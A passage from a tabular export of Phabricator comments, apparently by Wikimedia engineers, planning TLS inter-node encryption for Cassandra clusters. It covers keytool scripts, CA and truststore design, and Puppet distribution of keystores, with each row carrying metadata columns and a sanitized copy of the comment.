one of the missing bits is ""configuration"" or IOW a manifest of what certs/keystores should be generated for each cluster (so we can in theory generate them unattended)
anyhow upon adding a machine we'd issue the related cert from the CA, commit, and install it on the machine via `secret()`.
CA rollover can be done by adding a new trusted CA to the truststore, which can be also installed via `secret()` and reissue certs with the new CA (should apply the same to cert and server clients)
for labs testing the above would require a cert for each node/instance, perhaps we can wildcard it and use a single bogus cert/CA ?
another open question is what to do with keystore passwords, we're operating on the basis that puppet has access to the files (and it'd need to know the keystore password anyway) and I'm not sure we're encrypting `private.git` material at rest",,,1441277806,,PHID-USER-wr3pospifdaxghmtobvr,False,,,PHID-TASK-2tltcgzqagw7twovjjye,task_subcomment,,True,c3,3,True,,,9,True,1.3333333333333333,0.6666666666666666,0.0,1.0,0.3333333333333333,3.6666666666666665,0.0,0.0,0.0,0.0,1.0,2.3333333333333335,0.0,0.0,0.0,3.0,0.6666666666666666,2.6666666666666665,12.0,0.6666666666666666,1.6666666666666667,0.6666666666666666,0.0,0.0,0.3333333333333333,0.3333333333333333,0.0,0.3333333333333333,1.3333333333333333,1.3333333333333333,0.3333333333333333,3.0,1.0,1.3333333333333333,0.6666666666666666,0.0,0.0,0.3333333333333333,2.0,0.3333333333333333,0.0,0.3333333333333333,0.0,0.6666666666666666,0.3333333333333333,0.0,0.0,0.0,0.0,14.333333333333334,0.3333333333333333,0.3333333333333333,0.3333333333333333,0.0,0.3333333333333333,0.0,0.0,0.0,1.0,0.0,0.6666666666666666,0.3333333333333333,0.0,0.3333333333333333,0.0,0.0,0.0,7.0,2.0,5.0,0.6666666666666666,2.6666666666666665,9.333333333333334,0.0,0.0,0.3333333333333333,0.0,7.0,0.0,0.3333333333333333,0.0,4.666666666666667,12.0,5.0,0.3333333333333333,0.6666666666666666,0.0,4.666666666666667,0.0,1.0,2.3333333333333335,0.3333333333333333,3.0,0.0,0.0,0.0,3.9059279525763793,0.7070679434564524,"thanksSCREEN_NAME! I think that'll work, basically to generalize it on a per-cluster basis something like:

I was thinking something along the lines of (all in CODE) a directory for each cassandra cluster, containing subdirectories for:
* per-server server keystore
* CA private/public key(s)
* (in the future) per-client certificates/keystores

one of the missing bits is ""configuration"" or IOW a manifest of what certs/keystores should be generated for each cluster (so we can in theory generate them unattended)
anyhow upon adding a machine we'd issue the related cert from the CA, commit, and install it on the machine via CODE.
CA rollover can be done by adding a new trusted CA to the truststore, which can be also installed via CODE and reissue certs with the new CA (should apply the same to cert and server clients)
for labs testing the above would require a cert for each node/instance, perhaps we can wildcard it and use a single bogus cert/CA ?
another open question is what to do with keystore passwords, we're operating on the basis that puppet has access to the files (and it'd need to know the keystore password anyway) and I'm not sure we're encrypting CODE material at rest"
519788,Cassandra inter-node encryption (TLS),"@fgiunchedi, here is the background work I promised; I do not know if this is the //only// way, but this does demonstrate a working example of using an openssl generated CA cert, the corresponding truststore, and node/instance keystores containing CA-signed client certificates.

{F2534073}

For demonstrative purposes only:

```
$ make truststore
...
$ make node1 node2 node3
...
$ ls 
ca.crt  ca.srl    node1.crt  node2.crt  node3.crt  truststore
ca.key  Makefile  node1.kst  node2.kst  node3.kst
```

And the corresponding Cassandra configuration:

```
lang=yml
server_encryption_options:
    internode_encryption: all
    keystore: /path/to/keystore.kst
    keystore_password: password
    truststore: /path/to/truststore
    truststore_password: password
    require_client_auth: true
```

Let me know if you think this approach will work, and if so, what I can do (put together a proper management script, perhaps?).",,,1441232356,,PHID-USER-7mtggupugbd5i55vuvdc,False,,,PHID-TASK-2tltcgzqagw7twovjjye,task_subcomment,,True,c3,3,False,,,8,True,0.0,0.0,0.0,0.0,1.0,4.0,2.0,0.0,0.0,3.0,0.0,0.0,0.0,1.0,0.0,4.0,2.0,6.0,5.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,1.0,1.0,5.0,4.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,15.0,2.0,1.0,1.0,1.0,0.0,0.0,0.0,0.0,2.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,6.0,2.0,10.0,3.0,3.0,9.0,0.0,0.0,0.0,0.0,7.0,0.0,1.0,0.0,5.0,5.0,3.0,1.0,0.0,0.0,5.0,0.0,1.0,3.0,1.0,4.0,0.0,0.0,0.0,4.06,0.72,"SCREEN_NAME, here is the background work I promised; I do not know if this is the //only// way, but this does demonstrate a working example of using an openssl generated CA cert, the corresponding truststore, and node/instance keystores containing CA-signed client certificates.

{F2534073}

For demonstrative purposes only:

``CODE`CODE`CODE``

Let me know if you think this approach will work, and if so, what I can do (put together a proper management script, perhaps?)."
519293,Cassandra inter-node encryption (TLS),">>! In T108953#1596328, @fgiunchedi wrote:
> so I don't think we'll be able to reuse puppet certs with multiple instances, thus we'll have to roll our own. since we are going to use multiple cassandra clusters it'd be ideal to keep the keyrings isolated per-cluster. I'm proposing the following:
> 
> * map cassandra cluster -> list of nodes belonging to the cluster (which we need anyway)
> * having the above, generate private+public keys for each host and commit to private.git (via a script)
> * using the same map, assemble per-cluster keyrings, commit in private.git
> * puppet will do file distribution via `secret()` or similar mechanisms
> 
> naming clarifications:
> * `truststore` is used for the public parts, doesn't change across the cluster (note `truststore` is a name used by cassandra only, to `keytool` only keystores exist)
> * `keystore` stores public/private keys for an host/instance, distributed individually
> 
> e.g. on the machine hosting `private.git` we would run
> ```
> # assuming we know the mapping cluster -> list of hosts/instances
> # assuming passwords are already generated and stored in storepass/c1.pass
> # generates keypair for all hosts in keystore/c1/<host>.ks using the respective keystore password
> $ cassandra-keytool gen-ks c1 
> # assemble all c1 keypairs into truststore/c1.ts
> $ cassandra-keytool gen-truststore c1
> $ git commit -m ""update cassandra keys"" keystore truststore
> ```
> 
> puppet would then for each host/instance copy the keystore and truststore via `secret()` in the proper location inside e.g. `/etc` and configure cassandra accordingly. Ditto for the keystore password, also fetched via `secret()`. For each host/instance puppet will also set up monitoring for cert expiration deadlines.

thinking about it more, this scheme would make certs rollover harder since we'll need to have both new+old cert in the truststore. using a CA and having only that in the truststore might simplify things, upon CA rollover we add a new CA to the truststore and issue certs signed with the new CA. cc @akosiaris @bblack @faidon for opinions

to recap:
* we want encryption among cassandra nodes (by ""node"" I mean a single jvm, multiple instances will mean a key pair for each instance)
** ideally nodes from different cassandra clusters can't talk to each other
* this is required to expand into codfw, we can tune cassandra to encrypt only dc-to-dc traffic but leave inter-dc traffic unencrypted (e.g. while we roll out this)
* cassandra requires a `keystore` holding a key pair with the node identity and a `truststore` holding the trusted certificates, manipulated via `keytool`",,,1441207045,,PHID-USER-wr3pospifdaxghmtobvr,False,,,PHID-TASK-2tltcgzqagw7twovjjye,task_subcomment,,True,c3,3,True,,,8,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,52.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,48.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.074074074074074,0.07407407407407407,"QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE"
519268,Cassandra inter-node encryption (TLS),">>! In T108953#1596768, @Eevans wrote:
> FYI, we have T111113 as well.
> 
> For this, I assume that we'll need another key per host (for the client), and PEM copies of all the Cassandra instance certs (to use in the CA array).  Additionally, we'll need copies of all the client certs imported into a truststore (either the one above, or another for this purpose), to reference in `cassandra.yaml` when enabling client encryption.

good point, we should be taking client auth in consideration too for {T76494} ",,,1441205647,,PHID-USER-wr3pospifdaxghmtobvr,False,,,PHID-TASK-2tltcgzqagw7twovjjye,task_subcomment,,True,c3,3,True,,,8,True,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,8.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,21.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,8.0,17.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,3.75,0.7916666666666666,"QUOTE
QUOTE
QUOTE
QUOTE

good point, we should be taking client auth in consideration too for {T76494} "
519214,Cassandra inter-node encryption (TLS),">>! In T108953#1596328, @fgiunchedi wrote:
> so I don't think we'll be able to reuse puppet certs with multiple instances, thus we'll have to roll our own. since we are going to use multiple cassandra clusters it'd be ideal to keep the keyrings isolated per-cluster. I'm proposing the following:
> 
> * map cassandra cluster -> list of nodes belonging to the cluster (which we need anyway)
> * having the above, generate private+public keys for each host and commit to private.git (via a script)
> * using the same map, assemble per-cluster keyrings, commit in private.git
> * puppet will do file distribution via `secret()` or similar mechanisms
> 
> naming clarifications:
> * `truststore` is used for the public parts, doesn't change across the cluster (note `truststore` is a name used by cassandra only, to `keytool` only keystores exist)
> * `keystore` stores public/private keys for an host/instance, distributed individually
> 
> e.g. on the machine hosting `private.git` we would run
> ```
> # assuming we know the mapping cluster -> list of hosts/instances
> # assuming passwords are already generated and stored in storepass/c1.pass
> # generates keypair for all hosts in keystore/c1/<host>.ks using the respective keystore password
> $ cassandra-keytool gen-ks c1 
> # assemble all c1 keypairs into truststore/c1.ts
> $ cassandra-keytool gen-truststore c1
> $ git commit -m ""update cassandra keys"" keystore truststore
> ```
> 
> puppet would then for each host/instance copy the keystore and truststore via `secret()` in the proper location inside e.g. `/etc` and configure cassandra accordingly. Ditto for the keystore password, also fetched via `secret()`. For each host/instance puppet will also set up monitoring for cert expiration deadlines.

FYI, we have T111113 as well.

For this, I assume that we'll need another key per host (for the client), and PEM copies of all the Cassandra instance certs (to use in the CA array).  Additionally, we'll need copies of all the client certs imported into a truststore (either the one above, or another for this purpose), to reference in `cassandra.yaml` when enabling client encryption.",,,1441200474,,PHID-USER-7mtggupugbd5i55vuvdc,False,,,PHID-TASK-2tltcgzqagw7twovjjye,task_subcomment,,True,c3,3,False,,,8,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,52.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,48.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.074074074074074,0.07407407407407407,"QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE"
519097,Cassandra inter-node encryption (TLS),"so I don't think we'll be able to reuse puppet certs with multiple instances, thus we'll have to roll our own. since we are going to use multiple cassandra clusters it'd be ideal to keep the keyrings isolated per-cluster. I'm proposing the following:

* map cassandra cluster -> list of nodes belonging to the cluster (which we need anyway)
* having the above, generate private+public keys for each host and commit to private.git (via a script)
* using the same map, assemble per-cluster keyrings, commit in private.git
* puppet will do file distribution via `secret()` or similar mechanisms

naming clarifications:
* `truststore` is used for the public parts, doesn't change across the cluster (note `truststore` is a name used by cassandra only, to `keytool` only keystores exist)
* `keystore` stores public/private keys for an host/instance, distributed individually

e.g. on the machine hosting `private.git` we would run
```
# assuming we know the mapping cluster -> list of hosts/instances
# assuming passwords are already generated and stored in storepass/c1.pass
# generates keypair for all hosts in keystore/c1/<host>.ks using the respective keystore password
$ cassandra-keytool gen-ks c1 
# assemble all c1 keypairs into truststore/c1.ts
$ cassandra-keytool gen-truststore c1
$ git commit -m ""update cassandra keys"" keystore truststore
```

puppet would then for each host/instance copy the keystore and truststore via `secret()` in the proper location inside e.g. `/etc` and configure cassandra accordingly. Ditto for the keystore password, also fetched via `secret()`. For each host/instance puppet will also set up monitoring for cert expiration deadlines.",,,1441189048,,PHID-USER-wr3pospifdaxghmtobvr,False,,,PHID-TASK-2tltcgzqagw7twovjjye,task_subcomment,,True,c3,3,True,,,8,True,0.6666666666666666,0.0,0.0,0.3333333333333333,0.6666666666666666,4.666666666666667,1.0,0.0,0.0,0.0,1.0,2.0,0.0,1.0,0.0,2.6666666666666665,0.3333333333333333,4.0,9.0,0.0,1.6666666666666667,0.0,0.3333333333333333,0.3333333333333333,0.0,0.0,0.0,0.6666666666666666,0.0,2.3333333333333335,0.6666666666666666,3.3333333333333335,0.6666666666666666,0.3333333333333333,0.0,0.0,0.0,0.3333333333333333,0.6666666666666666,0.3333333333333333,0.0,0.0,0.0,1.0,0.0,0.6666666666666666,0.0,0.0,0.0,13.666666666666666,0.0,0.0,0.0,0.3333333333333333,0.0,0.6666666666666666,0.0,0.0,0.0,0.6666666666666666,0.0,1.0,0.0,0.3333333333333333,0.0,0.0,0.0,4.0,1.6666666666666667,4.333333333333333,0.3333333333333333,0.6666666666666666,5.333333333333333,0.0,0.0,0.0,0.0,5.666666666666667,0.0,0.0,0.0,3.0,9.0,4.0,0.0,0.0,0.0,3.0,0.0,0.3333333333333333,1.3333333333333333,0.0,2.6666666666666665,0.0,0.0,0.6666666666666666,4.07625754527163,0.7500335345405768,"so I don't think we'll be able to reuse puppet certs with multiple instances, thus we'll have to roll our own. since we are going to use multiple cassandra clusters it'd be ideal to keep the keyrings isolated per-cluster. I'm proposing the following:

* map cassandra cluster -> list of nodes belonging to the cluster (which we need anyway)
* having the above, generate private+public keys for each host and commit to private.git (via a script)
* using the same map, assemble per-cluster keyrings, commit in private.git
* puppet will do file distribution via CODE or similar mechanisms

naming clarifications:
* CODE is used for the public parts, doesn't change across the cluster (note CODE is a name used by cassandra only, to CODE only keystores exist)
* CODE stores public/private keys for an host/instance, distributed individually

e.g. on the machine hosting CODE we would run
``CODE`CODEsecret()CODE/etcCODEsecret()`. For each host/instance puppet will also set up monitoring for cert expiration deadlines."
518823,Cassandra inter-node encryption (TLS),"Any word here?  Encryption is a dependency for scaling RESTBase into codfw, a quarterly goal for Services (T102306), and time is starting to run short.

I'm happy to work on this if I'm able.",,,1441144186,,PHID-USER-7mtggupugbd5i55vuvdc,False,,,PHID-TASK-2tltcgzqagw7twovjjye,task_subcomment,,True,c3,3,False,,,8,True,2.0,0.0,0.0,0.0,0.0,9.0,2.0,0.0,0.0,2.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,2.0,16.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,16.0,2.0,2.0,9.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,16.0,4.0,2.0,0.0,0.0,4.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,3.533333333333333,0.8222222222222222,"Any word here?  Encryption is a dependency for scaling RESTBase into codfw, a quarterly goal for Services (T102306), and time is starting to run short.

I'm happy to work on this if I'm able."
512406,Cassandra inter-node encryption (TLS),"> 4K is puppet's default unless `keylength` is specified, https://docs.puppetlabs.com/references/latest/configuration.html#keylength (default changed in https://github.com/puppetlabs/puppet/pull/498)
> The procedure we followed a couple of months ago is https://wikitech.wikimedia.org/wiki/Puppet_CA_replacement essentially:
> * regenerate puppet CA and the master's certs
> * backup client keys for hosts running backups since they are used for per-host encryption
> * wipe client keys and ask puppet clients to ask for certs again
> * update users of puppet private keys with new keys, currently bacula and ipsec

* users also include etcd

so for cassandra and multiple instances using puppet certificates means we'd be sharing the hosts' cert among instances, though each instance is bound to a different ip address so validation might not work because forward/reverse address resolution won't match, for example",,,1440174863,,PHID-USER-wr3pospifdaxghmtobvr,False,,,PHID-TASK-2tltcgzqagw7twovjjye,task_subcomment,,True,c3,3,True,,,7,True,2.0,0.0,0.0,2.0,3.0,5.0,0.0,2.0,2.0,0.0,0.0,5.0,0.0,0.0,0.0,2.0,0.0,6.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,2.0,5.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,24.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,2.0,0.0,0.0,0.0,3.0,3.0,9.0,5.0,2.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,2.0,11.0,8.0,0.0,2.0,0.0,2.0,0.0,0.0,2.0,0.0,3.0,0.0,0.0,0.0,4.4393939393939394,0.7727272727272727,"QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

* users also include etcd

so for cassandra and multiple instances using puppet certificates means we'd be sharing the hosts' cert among instances, though each instance is bound to a different ip address so validation might not work because forward/reverse address resolution won't match, for example"
511486,Cassandra inter-node encryption (TLS),">>! In T108953#1539824, @BBlack wrote:
> The latter is what I'd like to do for the client auth and varnish<->varnish parts of T108580 as well, but one of the outstanding issues there is that our puppet keys are currently 4K RSA, and we'd rather them be 2K RSA.  4K is unnecessary and very very slow, basically.  It affects CPU utilization on the puppetmasters to boot.  The question is how much of a PITA it will be to redo puppet keys again.

4K is puppet's default unless `keylength` is specified, https://docs.puppetlabs.com/references/latest/configuration.html#keylength (default changed in https://github.com/puppetlabs/puppet/pull/498)
The procedure we followed a couple of months ago is https://wikitech.wikimedia.org/wiki/Puppet_CA_replacement essentially:
* regenerate puppet CA and the master's certs
* backup client keys for hosts running backups since they are used for per-host encryption
* wipe client keys and ask puppet clients to ask for certs again
* update users of puppet private keys with new keys, currently bacula and ipsec

There doesn't seem to be any native support for puppet CA rollovers, anyways it seems like we need to do this anyway if we go down the road of reusing puppet host certs for higher traffic applications, bigger keys might also impact bacula restore times",,,1440062749,,PHID-USER-wr3pospifdaxghmtobvr,False,,,PHID-TASK-2tltcgzqagw7twovjjye,task_subcomment,,True,c3,3,True,,,7,True,0.5,0.0,0.0,1.0,0.5,5.5,0.5,0.0,0.0,1.0,0.5,0.5,0.5,0.0,0.5,2.0,0.0,4.5,12.5,0.0,2.0,0.0,0.5,0.0,1.0,0.5,0.0,0.0,0.5,0.0,0.0,5.5,0.0,0.5,0.0,0.0,1.5,0.0,0.5,1.0,0.0,0.5,0.5,1.0,0.0,0.0,0.0,0.0,0.0,24.5,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,1.5,0.0,0.0,0.0,0.0,0.0,2.0,2.5,6.0,1.5,1.5,3.5,0.0,0.0,0.0,0.0,4.5,0.0,0.5,0.0,3.0,12.5,2.0,0.0,0.0,0.0,3.0,0.0,0.0,0.5,0.0,0.5,1.5,0.0,0.0,4.091549295774648,0.767605633802817,"QUOTE
QUOTE

4K is puppet's default unless CODE is specified, URL (default changed in URL
The procedure we followed a couple of months ago is URL essentially:
* regenerate puppet CA and the master's certs
* backup client keys for hosts running backups since they are used for per-host encryption
* wipe client keys and ask puppet clients to ask for certs again
* update users of puppet private keys with new keys, currently bacula and ipsec

There doesn't seem to be any native support for puppet CA rollovers, anyways it seems like we need to do this anyway if we go down the road of reusing puppet host certs for higher traffic applications, bigger keys might also impact bacula restore times"
511483,Cassandra inter-node encryption (TLS),">>! In T108953#1539824, @BBlack wrote:
> The latter is what I'd like to do for the client auth and varnish<->varnish parts of T108580 as well, but one of the outstanding issues there is that our puppet keys are currently 4K RSA, and we'd rather them be 2K RSA.  4K is unnecessary and very very slow, basically.  It affects CPU utilization on the puppetmasters to boot.  The question is how much of a PITA it will be to redo puppet keys again.

4K is puppet's default unless `keylength` is specified, https://docs.puppetlabs.com/references/latest/configuration.html#keylength
The procedure we followed a couple of months ago is https://wikitech.wikimedia.org/wiki/Puppet_CA_replacement essentially:
* regenerate puppet CA and the master's certs
* backup client keys for hosts running backups since they are used for per-host encryption
* wipe client keys and ask puppet clients to ask for certs again
* update users of puppet private keys with new keys, currently bacula and ipsec

There doesn't seem to be any native support for puppet CA rollovers, anyways it seems like we need to do this anyway if we go down the road of reusing puppet host certs for higher traffic applications, bigger keys might also impact bacula restore times",,,1440062482,,PHID-USER-wr3pospifdaxghmtobvr,False,,,PHID-TASK-2tltcgzqagw7twovjjye,task_subcomment,,True,c3,3,True,,,7,True,0.5,0.0,0.0,1.0,0.5,5.5,0.5,0.0,0.0,1.0,0.0,0.5,0.5,0.0,0.5,2.0,0.0,4.5,12.5,0.0,2.0,0.0,0.5,0.0,0.5,0.5,0.0,0.0,0.5,0.0,0.0,5.5,0.0,0.5,0.0,0.0,1.5,0.0,0.5,1.0,0.0,0.5,0.5,1.0,0.0,0.0,0.0,0.0,0.0,24.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,1.5,0.0,0.0,0.0,0.0,0.0,2.0,2.5,5.5,1.5,1.5,3.5,0.0,0.0,0.0,0.0,5.0,0.0,0.5,0.0,3.0,12.5,1.5,0.0,0.0,0.0,3.0,0.0,0.0,0.5,0.0,0.5,1.5,0.0,0.0,4.096121057118499,0.7739769820971867,"QUOTE
QUOTE

4K is puppet's default unless CODE is specified, URL
The procedure we followed a couple of months ago is URL essentially:
* regenerate puppet CA and the master's certs
* backup client keys for hosts running backups since they are used for per-host encryption
* wipe client keys and ask puppet clients to ask for certs again
* update users of puppet private keys with new keys, currently bacula and ipsec

There doesn't seem to be any native support for puppet CA rollovers, anyways it seems like we need to do this anyway if we go down the road of reusing puppet host certs for higher traffic applications, bigger keys might also impact bacula restore times"
508353,Cassandra inter-node encryption (TLS),"The latter is what I'd like to do for the client auth and varnish<->varnish parts of T108580 as well, but one of the outstanding issues there is that our puppet keys are currently 4K RSA, and we'd rather them be 2K RSA.  4K is unnecessary and very very slow, basically.  It affects CPU utilization on the puppetmasters to boot.  The question is how much of a PITA it will be to redo puppet keys again.",,,1439565771,,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,,,PHID-TASK-2tltcgzqagw7twovjjye,task_subcomment,,True,c3,3,True,,,6,True,1.0,0.0,2.0,0.0,0.0,6.0,3.0,0.0,0.0,0.0,1.0,2.0,0.0,0.0,1.0,3.0,0.0,10.0,10.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,7.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,1.0,2.0,0.0,1.0,0.0,0.0,0.0,14.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,8.0,13.0,2.0,4.0,7.0,0.0,0.0,0.0,0.0,6.0,0.0,4.0,0.0,7.0,10.0,7.0,0.0,0.0,0.0,7.0,0.0,2.0,1.0,1.0,0.0,0.0,0.0,0.0,3.6333333333333333,0.6888888888888889,"The latter is what I'd like to do for the client auth and varnish<->varnish parts of T108580 as well, but one of the outstanding issues there is that our puppet keys are currently 4K RSA, and we'd rather them be 2K RSA.  4K is unnecessary and very very slow, basically.  It affects CPU utilization on the puppetmasters to boot.  The question is how much of a PITA it will be to redo puppet keys again."
508124,Cassandra inter-node encryption (TLS),"looks like we could do the following:
1. for each host in a given cassandra cluster, generate its public/private keypair, add the public key to the trusted store and commit the result to private.git, distribute via puppet as usual
2. trust the puppet CA instead and let puppet generate public/private keypair on the host signed by puppet CA. This would work, however we'll need to control which hosts are trusted anyway or any host running puppet will be trusted in theory",,,1439543000,,PHID-USER-wr3pospifdaxghmtobvr,False,,,PHID-TASK-2tltcgzqagw7twovjjye,task_subcomment,,True,c3,3,True,,,6,True,2.0,0.0,0.0,2.0,0.0,6.0,0.0,0.0,0.0,0.0,5.0,1.0,0.0,0.0,0.0,2.0,0.0,3.0,11.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,3.0,1.0,3.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,2.0,3.0,0.0,3.0,11.0,0.0,0.0,0.0,0.0,11.0,0.0,1.0,0.0,3.0,11.0,3.0,0.0,0.0,0.0,3.0,0.0,1.0,1.0,0.0,2.0,0.0,0.0,4.0,4.104166666666667,0.6770833333333334,"looks like we could do the following:
1. for each host in a given cassandra cluster, generate its public/private keypair, add the public key to the trusted store and commit the result to private.git, distribute via puppet as usual
2. trust the puppet CA instead and let puppet generate public/private keypair on the host signed by puppet CA. This would work, however we'll need to control which hosts are trusted anyway or any host running puppet will be trusted in theory"
507865,Cassandra inter-node encryption (TLS),"So (for demonstrative purposes only), here is how the process of {key,trust}store generation usually goes:

```
#!/bin/bash                                                                                             

for dc in eqiad codfw; do
    for i in {1..9}; do
        node=restbase100$i.$dc

        # Generate node-specific keystore with (2048 byte) RSA key, (lasts 1yr)                         
        keytool \
            -genkeypair \
            -dname ""cn=Eric Evans, ou=Services, o=WMF, c=US"" \
            -keyalg RSA \
            -alias $node \
            -validity 365 \
            -keypass qwerty \
            -storepass pass123 \
            -keystore $node.ks

        # Export the certificate generated above, in RFC 1421 format                                    
        keytool \
            -exportcert \
            -rfc \
            -alias $node \
            -file $node.crt \
            -storepass pass123 \
            -keystore $node.ks

        # Import the previously exported cert into the truststore                                       
        keytool \
            -importcert \
            -v \
            -trustcacerts \
            -noprompt \
            -alias $node \
            -file $node.crt \
            -storepass pass123 \
            -keystore truststore
    done
done
```

And the above would be configured in Cassandra with something like the following (in cassandra.yaml):

```
...

server_encryption_options:
    internode_encryption: all
    keystore: conf/restbase1001.eqiad.ks
    keystore_password: qwerty
    truststore: conf/truststore
    truststore_password: pass123
    require_client_auth: true

...
```",,,1439503256,,PHID-USER-7mtggupugbd5i55vuvdc,False,,,PHID-TASK-2tltcgzqagw7twovjjye,task_subcomment,,True,c3,3,False,,,6,True,0.0,0.0,0.0,0.0,0.0,11.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,18.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,7.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.8571428571428571,"So (for demonstrative purposes only), here is how the process of {key,trust}store generation usually goes:

``CODE`CODE`CODE``"
507850,Cassandra inter-node encryption (TLS),"So (for demonstrative purposes only), here is how the process of {key,trust}store generation usually goes:

```
#!/bin/bash                                                                                             

for dc in eqiad codfw; do
    for i in {1..9}; do
        node=restbase100$i.$dc

        # Generate node-specific keystore with (2048 byte) RSA key, (lasts 1yr)                         
        keytool \
            -genkeypair \
            -dname ""cn=Eric Evans, ou=Services, o=WMF, c=US"" \
            -keyalg RSA \
            -alias $node \
            -validity 365 \
            -keypass qwerty \
            -storepass pass123 \
            -keystore $node.ks

        # Export the certificate generated above, in RFC 1421 format                                    
        keytool \
            -exportcert \
            -rfc \
            -alias $node \
            -file $node.crt \
            -storepass pass123 \
            -keystore $node.ks

        # Import the previously exported cert into the truststore                                       
        keytool \
            -importcert \
            -v \
            -trustcacerts \
            -noprompt \
            -alias $node \
            -file $node.crt \
            -storepass pass123 \
            -keystore truststore
    done
done
```

And the above would be configured in Cassandra with something like the following (in cassandra.yaml):

```
...

server_encryption_options:
    internode_encryption: all
    keystore: restbase1001.eqiad.ks
    keystore_password: qwerty
    truststore: conf/truststore
    truststore_password: pass123
    require_client_auth: true

...
